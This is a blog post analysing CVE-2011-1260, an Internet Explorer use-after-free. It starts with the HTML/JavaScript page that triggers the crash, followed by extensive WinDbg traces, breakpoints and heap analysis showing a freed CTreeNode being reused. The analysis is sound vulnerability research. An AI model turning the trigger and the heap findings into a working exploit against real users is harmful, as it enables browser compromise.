quarta-feira, 17 de agosto de 2011

Diaries of a vulnerability

Understanding CVE-2011-1260

A couple of days back, I had the pleasure of reading d0c_s4vage post regarding an Internet Explorer exploit that was fixed in MS11-050. His writing was so interesting that got me thinking how and why this vulnerability worked. Unfortunately his posting didn't give me all the info I needed to fully grasp the vulnerability. Moreover, although not relevant to the exploit, it based on guesswork some details of what might be happening. Not relevant to the final purpose of exploiting, but determinant to me, because I wanted to fully understand the problem and the process, and, as a newbie into Internet Explorer stuff, I didn't have the necessary toolset to fill all the blanks left by the original posting doc. So, I decided to investigate a bit on my own to understand more of the exploit process and more of how Internet Explorer worked.
It got me into jscript.dll and it's VM processor and into mshtml.dll the core meta representation of IE. It got me into a nightmare...
Nevertheless, I found quite surprising results, being the problem not really the OBJECT element tag, but... Well, let's not spoil it... You'll have to wait for the end of the story...

These are some excerpts of a diary describing the 'dark' places where his exploit took me.

But, before starting, I'd like to apologize for the formatting of some debugger output, but the blog has some automatic stuff that I can't escape from. So, if you have some difficulty following the text in this post maybe the PDF can help you: UnderstandingCVE2011-1260.pdf.

First thing's first. The original test text that triggers the vulnerability:

<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>

And it's result:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=004d35e0 ecx=004c004f edx=00000000 esi=0231c120 edi=00000000
eip=6d0eb68f esp=0231c0f4 ebp=0231c10c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6d0eb68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????

k
ChildEBP RetAddr
0416bb70 6d129b02 mshtml!CElement::Doc 0416bb8c 6d129a0e mshtml!CTreeNode::ComputeFormats+0xba
0416be38 6d13872a mshtml!CTreeNode::ComputeFormatsHelper+0x44
0416be48 6d1386ea mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
0416be58 6d1386d1 mshtml!CTreeNode::GetFancyFormatHelper+0xf
0416be6c 6d15ab32 mshtml!CTreeNode::GetFancyFormat+0x35
0416be74 6d15abee mshtml!CLineCore::AO_GetFancyFormat+0x23
0416bea8 6d14b7b6 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
0416c6a0 6d1edbdb mshtml!CDisplay::RecalcLines+0x6e5
0416c77c 6d175c45 mshtml!CDisplay::WaitForRecalc+0x209
0416c7cc 6d0fe667 mshtml!CFlowLayout::Notify+0x7de
0416c7d8 6d0f2127 mshtml!NotifyElement+0x41
0416c82c 6d0f20be mshtml!CMarkup::SendNotification+0x60
0416c854 6d13c083 mshtml!CMarkup::Notify+0xd6
0416c89c 6d17574e mshtml!CElement::SendNotification+0x4a
0416c8c0 6d09189c mshtml!CElement::EnsureRecalcNotify+0x15f
0416c944 6d097145 mshtml!CDisplayPointer::MoveUnit+0x2b2
0416ca30 6d096fb2 mshtml!CHTMLEditor::AdjustPointer+0x16f
0416ca64 6d096e39 mshtml!CEditTracker::AdjustPointerForInsert+0x8b
0416cac0 6d096cd6 mshtml!CCaretTracker::PositionCaretAt+0x141

The crash is in mshtml!CElement::Doc, a simple view of this functions tells us what is going on. It's trying to read into EDX the value pointed by EAX+70, but EAX is zero. As there's no valid mapped address there, we've got a crash.

But where is EAX coming from? From a value pointed by ECX. Looking at the function, considering C++ constructs, ECX should be a CElement object. And this can be confirmed by inspecting a couple of mshtml!CElement::Doc callers functions.

What is it trying to call then? Might it be missing a CElement obj? Let's verify it's constructor, and some functions that call it:

Before calling mshtml!CElement::CElement there's an allocation sized 0x2C that gives some clues about our class, namely that CElement might be an object instantiator class. But looking more closely at some more callers of mshtml!CElement::CElement we can observe that most of them are CreateElement members, so let's consider for now that this is the class we're looking for, evaluate what we need, and try to get more clues to validate all the info we found.


From the above, the CElement::`vftable' is being stored in the first position of the CElement memory area, so it matches with what we got before in CElement::Doc function. Then EAX should be pointing to CElement::`vftable', consequently EDX should be [EAX+70]:

x mshtml!CElement::`vftable'
6cf35570 mshtml!CElement::`vftable' = <no type information>
ln poi(6cf35570+70 )
(6d0eb65d) mshtml!CElement::SecurityContext | (6d0eb68d) mshtml!CElement::Doc
Exact matches:
mshtml!CElement::SecurityContext = <no type information>

So, the missing function is mshtml!CElement::SecurityContext.

Let's double check this. In order to do this, we need to backtrack to the ECX pointer. We need to know were this supposed CElement is being stored, so we can understand it's dynamic behavior and it's usage.
The object is passed to mshtml!CElement::Doc thru ECX. Watching the crash stack we can see the execution path backward:

ChildEBP RetAddr
0416bb70 6d129b02 mshtml!CElement::Doc
0416bb8c 6d129a0e mshtml!CTreeNode::ComputeFormats+0xba
0416be38 6d13872a mshtml!CTreeNode::ComputeFormatsHelper+0x44
0416be48 6d1386ea mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11

Going to mshtml!CTreeNode::ComputeFormats, ECX is being set from the address pointed by EBX. Considering the code executed until the crash, we can see that EBX was not changed, so EBX provided by the debugger is still valid (Although we never should consider this, as concurrent threads might alter the memory state, this point will be proved by the following analysis, so consider this a true statement). This is a good thing as EBX can give us some pointers finding the hot zones.
Continuing backwards, we need to trace EBX now.

Just at the beginning of mshtml!CTreeNode::ComputeFormats there's EBX being loaded from the first function argument. As this is what we're trying to determine I called it ImportantArg. :)
Now watch the function declaration. It's telling that the first argument, our EBX, is of type class CFormatInfo. Let's go to CFormatInfo constructor, CFormatInfo::CFormatInfo(void *Dst), and see what it does:

There's nothing out of ordinary in it, so we need more clues.
Let's see what's it size in memory and who allocates it, by inspecting it's callers:

They're not so many, so this is not going to be hard. Entering any of it's callers, what we find is that there's no space being accounted for, instead it's using part of others objects space. This means that CFormatInfo is an abstract class.

Let's then continue our voyage back in execution path. Let's go to mshtml!CTreeNode::ComputeFormatsHelper.

We saw before in mshtml!CTreeNode::ComputeFormats that EBX was coming from the first function's argument. The first argument being pushed to mshtml!CTreeNode::ComputeFormats in mshtml!CTreeNode::ComputeFormatsHelper is ESI, but ESI is being set with ECX value. ECX in mshtml!CTreeNode::ComputeFormatsHelper is a CTreeNode. Hmmm... Ok, let's test this theory. Let's set a breakpoint on the constructor and see if any object of type CTreeNode is the EBX from the crash:

It's declaration is the one from the picture so the breakpoint we'll be using is:

bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] parent[%08x] GCType[%08x]\\n\",ecx,poi(esp+4),poi(esp+8);gc"


GCType needs some explaining. Basically I found a function that calls the CTreeNode constructor with symbols that define the argument position as of type enum with GCType as name.

CGeneratedTreeNode::CGeneratedTreeNode(class CTreeNode *, class CTreeNode *, enum GCType)

Now we need to reload the crashing html page, and set the breakpoint, and then run IE until crash.

0:013> bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] parent[%08x] GCType[%08x]\\n\",ecx,poi(esp+4),poi(esp+8);gc"

0:013> g
...
CTreeNode:node[004d38a0] parent[004d36e8] GCType[00000000]
CTreeNode:node[004d35e0] parent[004d3690] GCType[00000000]
CTreeNode:node[004d3798] parent[004d35e0] GCType[00000000]
CTreeNode:node[004d39a8] parent[004d35e0] GCType[00000000]
CTreeNode:node[004d3798] parent[004380f0] GCType[00000000]
CTreeNode:node[004d39a8] parent[004380f0] GCType[00000000]
CTreeNode:node[00437fe8] parent[00000000] GCType[00000000]
...
CTreeNode:node[004d3848] parent[004d3950] GCType[00000000]
CTreeNode:node[004d3690] parent[004d38a0] GCType[00000000]
CTreeNode:node[004d35e0] parent[004d3690] GCType[00000000]
CTreeNode:node[004d39a8] parent[004d3690] GCType[00000000]
CTreeNode:node[004d3a58] parent[004d3690] GCType[00000000]
CTreeNode:node[004d35e0] parent[004380f0] GCType[00000000]
CTreeNode:node[004d39a8] parent[004380f0] GCType[00000000]
...
CTreeNode:node[004d3950] parent[004d3638] GCType[00000000]
(e64.95c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=004d35e0 ecx=004c004f edx=00000000 esi=0231c120 edi=00000000
eip=6d0eb68f esp=0231c0f4 ebp=0231c10c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6d0eb68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????

Yes, it does seem that EBX is indeed a CTreeNode. Remember that EBX is a valid pointer.
But whatever its first position is pointing is not. What sorts of objects are then being created at this position? In order to find this out we need another breakpoint at the same location that might give us some hint. Going back to mshtml!CTreeNode::CTreeNode, EDI is what we're looking for, as it's value is put at the first position pointed by ECX.

bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] Type:\",ecx;dds edi l1;gc"

g
CTreeNode:node[004a7a68] Type:004f2718 6d062010 mshtml!CRootElement::`vftable'
...
CTreeNode:node[005454e0] Type:0053c938 6d023dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[00545220] Type:0050b668 6d062010 mshtml!CRootElement::`vftable'
CTreeNode:node[00545328] Type:0050b578 6d071598 mshtml!CHtmlElement::`vftable'
...
CTreeNode:node[00545278] Type:004f4de8 6d071ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[00545380] Type:004f4d40 6d070c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[00545220] Type:0053c850 6d023dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[00545640] Type:004f9c70 6cf37eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[00545748] Type:0050b7e8 6cf371b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[00545220] Type:0053c850 6d023dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[00545640] Type:004f9c70 6cf37eb0 mshtml!CAnchorElement::`vftable'
...
CTreeNode:node[00545698] Type:004b4d00 6d070c30 mshtml!CBodyElement::`vftable'
(500.4a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00545220 ecx=0053000d edx=00000000 esi=0208c028 edi=00000000
eip=6d0eb68f esp=0208bffc ebp=0208c014 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6d0eb68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????

Ok, mshtml!CObjectElement is the last object type, CTreeNode is utilizing before crashing. Going again all the same steps but now for mshtml!CObjectElement:

x mshtml!CObjectElement::`vftable'
6d023dd8 mshtml!CObjectElement::`vftable' = <no type information>
ln poi(6d023dd8+70)
(6d0eb65d) mshtml!CElement::SecurityContext | (6d0eb68d) mshtml!CElement::Doc
Exact matches:
mshtml!CElement::SecurityContext = <no type information>

But the only function that calls mshtml!CObjectElement::CObjectElement is CObjectElement::CreateElement, so this might be simpler.

See HeapAlloc and the size requested for allocation, 0xE0? This is the size of the CObjectElement. So this is what we're looking for all along.

Let's review then what we got so far:

EBX = CTreeNode and ECX = CObjectElement.

Now we need to find out what is going on with this CTreeNode and why does it crash. Why all the sudden the data that our CTreeNode references becomes invalid.
If you observe the full trace you'll notice that the object creation sequence is predictable, so we'll use a basic heuristic to get to the last valid mshtml!CObjectElement that, by the time of the crash, EBX is pointing to. Counting the occurrences we see that there are eight occurrences of mshtml!CObjectElement object creation.

CTreeNode:node[004482a8] Type:004ad3a8 6e2b2010 mshtml!CRootElement::`vftable'
CTreeNode:node[00447a68] Type:00492ff0 6e2b2010 mshtml!CRootElement::`vftable'
CTreeNode:node[00447a68] Type:00492ff0 6e2c1598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004478b0] Type:004934d0 6e2c1868 mshtml!CHeadElement::`vftable'
CTreeNode:node[00448250] Type:00493fb8 6e2c1ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[00448098] Type:004939d0 6e2c0c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[00448040] Type:00499d00 6e31f9f8 mshtml!CScriptElement::`vftable'
CTreeNode:node[00447ac0] Type:004ad258 6e2b2010 mshtml!CRootElement::`vftable'
CTreeNode:node[004e5010] Type:004ad2e8 6e2c1598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004e5068] Type:004ad198 6e2c1868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004e50c0] Type:00494060 6e2c1ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004e5118] Type:00499f30 6e31f9f8 mshtml!CScriptElement::`vftable'
CTreeNode:node[004e51c8] Type:00493928 6e2c0c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[004e5220] Type:004d9570 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e5220] Type:004d9570 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e4f60] Type:004ad258 6e2b2010 mshtml!CRootElement::`vftable'
CTreeNode:node[004e5068] Type:004ad2e8 6e2c1598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004e50c0] Type:004ad198 6e2c1868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004e5278] Type:00493928 6e2c1ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004e4fb8] Type:00494060 6e2c0c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[004e5170] Type:004d9488 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e5380] Type:00499ec0 6e187eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004e5170] Type:004d9488 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e5380] Type:00499ec0 6e187eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004e5010] Type:004ad258 6e2b2010 mshtml!CRootElement::`vftable'
CTreeNode:node[004e5278] Type:004ad2e8 6e2c1598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004e5328] Type:004ad198 6e2c1868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004e51c8] Type:00493d50 6e2c1ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004e5118] Type:00493928 6e2c0c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[004e5220] Type:004d9570 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e5430] Type:0049a010 6e187eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004e5220] Type:004d9570 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e5430] Type:0049a010 6e187eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004e5068] Type:004ad258 6e2b2010 mshtml!CRootElement::`vftable'
CTreeNode:node[004e51c8] Type:004ad2e8 6e2c1598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004e53d8] Type:004ad198 6e2c1868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004e4fb8] Type:00493e30 6e2c1ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004e50c0] Type:00493d50 6e2c0c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[004e4f60] Type:004d9488 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e5380] Type:00499fa0 6e187eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004e5488] Type:004ad408 6e1871b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004e4f60] Type:004d9488 6e273dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[004e5380] Type:00499fa0 6e187eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004e5488] Type:004ad408 6e1871b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[00448040] Type:004ad258 6e2b2010 mshtml!CRootElement::`vftable'
CTreeNode:node[004e5278] Type:004ad198 6e2c1598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004e51c8] Type:004ad378 6e2c1868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004e50c0] Type:004940d0 6e2c1ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004e53d8] Type:00452870 6e2c0c30 mshtml!CBodyElement::`vftable'
(7b8.81c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=004e4f60 ecx=004d000d edx=00000000 esi=0205bd60 edi=00000000
eip=6e33b68f esp=0205bd34 ebp=0205bd4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6e33b68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:0000006f=????????

We're then, going to try to intercept the construction of a CTreeNode of type mshtml!CObjectElement and follow it's changes until crashing. We'll be setting a breakpoint on the constructor that stops on every instance of an object having a virtual function table pointing to the mshtml!CObjectElement virtual function table definition. So, as soon as we break we run the debugger again eight times until we get to the last mshtml!CObjectElement created.

Note: You should test this on your system because this is dependent on OS version. The tests described here use a Windows 7 SP1. When I used Windows XP SP2, the number of runs needed where still constant but instead of eight runs I needed to set the debugger on go eleven times.

x mshtml!CObjectElement::`vftable'
6db03dd8 mshtml!CObjectElement::`vftable' = <no type information>

bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] Type:\",ecx;dds edi l1; .if(poi(edi)!=6db03dd8 ) {gc;}"

g
CTreeNode:node[0018d890] Type:000ff710 6da17eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[0018d998] Type:0012e9f8 6da171b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[0018d470] Type:000d4f98 6db03dd8 mshtml!CObjectElement::`vftable'
eax=0018d470 ebx=0243c9f0 ecx=0018d470 edx=00000000 esi=000e7a48 edi=000d4f98
eip=6dbd47b9 esp=0243c87c ebp=0243c9dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
6dbd47b9 8bff mov edi,edi

We're now in the last mshtml!CObjectElement. Remember the node address (0018d470) as we'll need to validate it against EBX at the time of the crash.

dc 0018d470
0018d470 00000000 00000000 00000000 00000000 ................
0018d480 00000000 00000000 00000000 00000000 ................
0018d490 00000000 00000000 00000000 00000000 ................
0018d4a0 00000000 00000000 00000000 00000000 ................
0018d4b0 00000000 00000000 00000000 00000000 ................

!heap -x 0018d470
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0018d468 0018d470 00090000 0013a868 58 - c LFH;busy

Until now the CTreeNode is valid and is unitialized. What happens between now and the unavoidable terminal code path in mshtml!CElement::Doc that makes it crash the process?
At the time of the crash the ECX register value is retrieved from the first position of the object pointed by EBX. This value is consistently different of zero. If we look now at the value pointed by 0018d470 its value is zero. This tells us that there is somewhere in the code some thing that changes this value, invalidating our entry and ultimately crashing the code.
Let's then set a breakpoint on write on this memory location to see who changes it.

ba w4 0018d470
g
Breakpoint 1 hit
eax=ffffffff ebx=0243c9f0 ecx=0018d470 edx=00000000 esi=00000008 edi=000d4f98
eip=6dbd47f4 esp=0243c874 ebp=0243c878 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
mshtml!CTreeNode::CTreeNode+0x3b:
6dbd47f4 85ff test edi,edi

ub eip l1
mshtml!CTreeNode::CTreeNode+0x39:
6dbd47f2 8939 mov dword ptr [ecx],edi

dc ecx
0018d470 000d4f98 00000000 ffff0000 ffffffff .O..............
0018d480 00000000 00000000 00000000 00000000 ................

dc edi
000d4f98 6db03dd8 00000001 00000008 0012f6f8 .=.m............
000d4fa8 00000000 00000000 8800004a a0012000 ........J.... ..

k
ChildEBP RetAddr
0243c878 6db29141 mshtml!CTreeNode::CTreeNode+0x3b
0243c9dc 6db26e4b mshtml!CSpliceTreeEngine::InsertSplice+0x6f2
0243cac0 6db26c90 mshtml!CMarkup::SpliceTreeInternal+0x9a
0243cb10 6db287ac mshtml!CDoc::CutCopyMove+0xca
0243cb2c 6db29ccb mshtml!CDoc::Move+0x16
0243cc30 6db29add mshtml!InjectHtmlStream+0x1ce
0243cc6c 6db2735c mshtml!HandleHTMLInjection+0x5c
0243cd24 6db2951d mshtml!CElement::InjectInternal+0x307
0243cd40 6db2a803 mshtml!CElement::InjectCompatBSTR+0x46
0243cd60 6dc55d62 mshtml!CElement::put_innerHTML+0x40
0243cd90 6dc3f10b mshtml!GS_PropEnum+0x1ac
0243ce04 6dc4a6c6 mshtml!CBase::ContextInvokeEx+0x5dc
0243ce54 6dc4a706 mshtml!CElement::ContextInvokeEx+0x9d
0243ce80 6dbebc0e mshtml!CInput::VersionedInvokeEx+0x2d
0243ced4 6fb1a26e mshtml!PlainInvokeEx+0xeb
0243cf10 6fb1a1b9 jscript!IDispatchExInvokeEx2+0x104
0243cf4c 6fb1a43a jscript!IDispatchExInvokeEx+0x6a
0243d00c 6fb1a4e4 jscript!InvokeDispatchEx+0x98
0243d040 6fb2d9a8 jscript!VAR::InvokeByName+0x139
0243d088 6fb19c4e jscript!VAR::InvokeDispName+0x7d
....

This is ok. We're still in the constructor and the code is just initializing the object.

g
CTreeNode:node[0018d890] Type:000ff710 6da17eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[0018d998] Type:0012e9f8 6da171b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[000c7fe0] Type:0012e7b8 6db42010 mshtml!CRootElement::`vftable'
CTreeNode:node[0018d788] Type:0012e698 6db51598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[0018d6d8] Type:0012e968 6db51868 mshtml!CHeadElement::`vftable'
CTreeNode:node[0018d5d0] Type:000d4670 6db51ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[0018d8e8] Type:000d4a28 6db50c30 mshtml!CBodyElement::`vftable'
Breakpoint 1 hit
eax=0049000d ebx=0000000f ecx=0000004a edx=00000049 esi=0013a868 edi=0018d468
eip=778e2d75 esp=0243d190 ebp=0243d1c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlpLowFragHeapFree+0xa6:
778e2d75 2b7df4 sub edi,dword ptr [ebp-0Ch] ss:0023:0243d1b8=0018d458

ub eip l1
ntdll!RtlpLowFragHeapFree+0xa2:
778e2d71 66894708 mov word ptr [edi+8],ax

dc edi
0018d468 062edd79 80000000 000d000d 00000000 y...............
0018d478 ffff404a ffffffff 00000051 00000000 J@......Q.......
0018d488 00000000 00000000 00000000 0018d498 ................
0018d498 00000062 00000000 00000000 00000000 b...............

Aha! EDI=0018d468, EDI+8=0018d470. And look where we are: ntdll!RtlpLowFragHeapFree.
Let's look at it's stack history: mshtml!CTreeNode::Release. Ups, we're releasing a CTreeNode.

k
ChildEBP RetAddr
0243d1c4 778e2ce8 ntdll!RtlpLowFragHeapFree+0xa6
0243d1dc 77a2bbe4 ntdll!RtlFreeHeap+0x105
0243d1f0 6dc2fbf2 kernel32!HeapFree+0x14
0243d200 6db26555 mshtml!CTreeNode::Release+0x2d
0243d208 6db292a8 mshtml!CTreeNode::PrivateExitTree+0x17
0243d358 6db26e34 mshtml!CSpliceTreeEngine::RemoveSplice+0x812
0243d438 6db26c90 mshtml!CMarkup::SpliceTreeInternal+0x83
0243d488 6db27434 mshtml!CDoc::CutCopyMove+0xca
0243d4a4 6db27412 mshtml!CDoc::Remove+0x18
0243d4bc 6db29c8e mshtml!RemoveWithBreakOnEmpty+0x3a
0243d5b8 6db29add mshtml!InjectHtmlStream+0x191
0243d5f4 6db2735c mshtml!HandleHTMLInjection+0x5c
0243d6ac 6de553db mshtml!CElement::InjectInternal+0x307
0243d788 6dbe93c2 mshtml!CObjectElement::DeferredFallback+0x2f0
0243d7bc 6dbde012 mshtml!GlobalWndOnMethodCall+0xff
0243d7dc 7711c4e7 mshtml!GlobalWndProc+0x10c...

g
(b94.c2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0018d470 ecx=000d000d edx=00000000 esi=0243bdf0 edi=00000000
eip=6dbcb68f esp=0243bdc4 ebp=0243bddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6dbcb68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????

According to this, we're referring free memory by the time of the crash. And according to the stack the node tree is being spliced and that lead to the removal of the node. Let's validate it:

!heap -x 0018d470
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0018d468 0018d470 00090000 0013a868 58 - 0 LFH;free

Yes. it's free memory, and it's trying to use a freed mshtml!CTreeNode. Let triple check this by seeing how much memory a CTreeNode occupies. Sampling a couple of mshtml!CTreeNode callers we get this:

Mshtml!CTreeNode is sized 0x4C which is a match with 58, because of the heap granularity the allocation is rounded to multiples of 8, moving 0x4C to 0x50. The heap keeps more 8 bytes for header:

?@@(sizeof(nt!_heap_entry))
Evaluate expression: 8 = 00000008

Giving a total of 0x50+0x8 = 0x58.

This is a confirmation of an use-after-free vulnerability, where the code it's trying to call a freed mshtml!CTreeNode container of an mshtml!CObjectElement. Why is it freeing the node? look at our stack by the time of the free:

0243d200 6db26555 mshtml!CTreeNode::Release+0x2d
...
0243d4a4 6db27412 mshtml!CDoc::Remove+0x18
0243d4bc 6db29c8e mshtml!RemoveWithBreakOnEmpty+0x3a
...
0243d6ac 6de553db mshtml!CElement::InjectInternal+0x307

The node contains an empty CElement and so it is removed from the node tree.
We need to analyze now the node tree dynamic behavior. Let's do this with the following breakpoints:

uf mshtml!ctreenode::release
mshtml!CTreeNode::Release:
6dc00c43 8b4a40 mov ecx,dword ptr [edx+40h]
6dc00c46 8bc1 mov eax,ecx
6dc00c48 c1e803 shr eax,3
6dc00c4b 83e107 and ecx,7
6dc00c4e 8d04c5f8ffffff lea eax,[eax*8-8]
6dc00c55 0bc1 or eax,ecx
6dc00c57 894240 mov dword ptr [edx+40h],eax
6dc00c5a a9f8ffffff test eax,0FFFFFFF8h
6dc00c5f 0f847eef0200 je mshtml!CTreeNode::Release+0x1e (6dc2fbe3)

bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] parent[%08x] Type:\",ecx,poi(esp+4);dds edi l1;gc"
bp mshtml!CTreeNode::Release+0x1c ".printf \"Release:node[%08x]\",edx;.if (@zf=1) {.printf \" [Freed] \"}; .printf \"Type:\"; dds poi(edx) l1; gc;"

Before dumping the results, I would like to explain the Freed tag printed in the CTreeNode::Release breakpoint and it code location. The function is very simple to analyze, and basically it frees a CTreeNode object instance, but it doesn't always give the allocation space back to the heap manager for performance reasons. So the breakpoint We need to set is in the decision branching "jz ...". If left is chosen we just print out the release call, if right is chosen we indicate that memory was handled to the heap.

So here are the results. I will not print everything as it is very extensive, but you'll get the general idea with this sampling:

CTreeNode:node[00218248] parent[00000000] Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
Release:node[00217a60] [Freed] Type:0021f6e0 6db51868 mshtml!CHeadElement::`vftable'
Release:node[00217f88] [Freed] Type:0025b778 6db51ae8 mshtml!CTitleElement::`vftable'
Release:node[00217fe0] [Freed] Type:0025b7e8 6db50c30 mshtml!CBodyElement::`vftable'
Release:node[00218038] [Freed] Type:00255998 6dbaf9f8 mshtml!CScriptElement::`vftable'
Release:node[00217a08] [Freed] Type:0021f7a0 6db51598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[00217a08] parent[00000000] Type:00266898 6db42010 mshtml!CRootElement::`vftable'
Release:node[00217cc8]Type:00266898 6db42010 mshtml!CRootElement::`vftable'
Release:node[00217cc8] [Freed] Type:00266898 6db42010 mshtml!CRootElement::`vftable'
Release:node[00217a08]Type:00266898 6db42010 mshtml!CRootElement::`vftable'
Release:node[00217a08] [Freed] Type:00266898 6db42010 mshtml!CRootElement::`vftable'
Release:node[00218248]Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
Release:node[00218248]Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
Release:node[00218248]Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
Release:node[00218248]Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
Release:node[00218248]Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
Release:node[00218248]Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
CTreeNode:node[002181f0] parent[00218248] Type:00266898 6db51598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[00217a08] parent[002181f0] Type:00266bc8 6db51868 mshtml!CHeadElement::`vftable'
CTreeNode:node[00217850] parent[00217a08] Type:0025ba18 6db51ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[00218198] parent[002181f0] Type:0025b660 6db50c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[00218038] parent[00218198] Type:00255f48 6dbaf9f8 mshtml!CScriptElement::`vftable'
ModLoad: 6fb10000 6fbc2000 C:\Windows\System32\jscript.dll
CTreeNode:node[00217f88] parent[00000000] Type:00276e88 6db42010 mshtml!CRootElement::`vftable'
CTreeNode:node[002b8008] parent[00217f88] Type:00276dc8 6db51598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[002b8060] parent[002b8008] Type:00277158 6db51868 mshtml!CHeadElement::`vftable'
CTreeNode:node[002b80b8] parent[002b8060] Type:0025bac0 6db51ae8 mshtml!CTitleElement::`vftable'
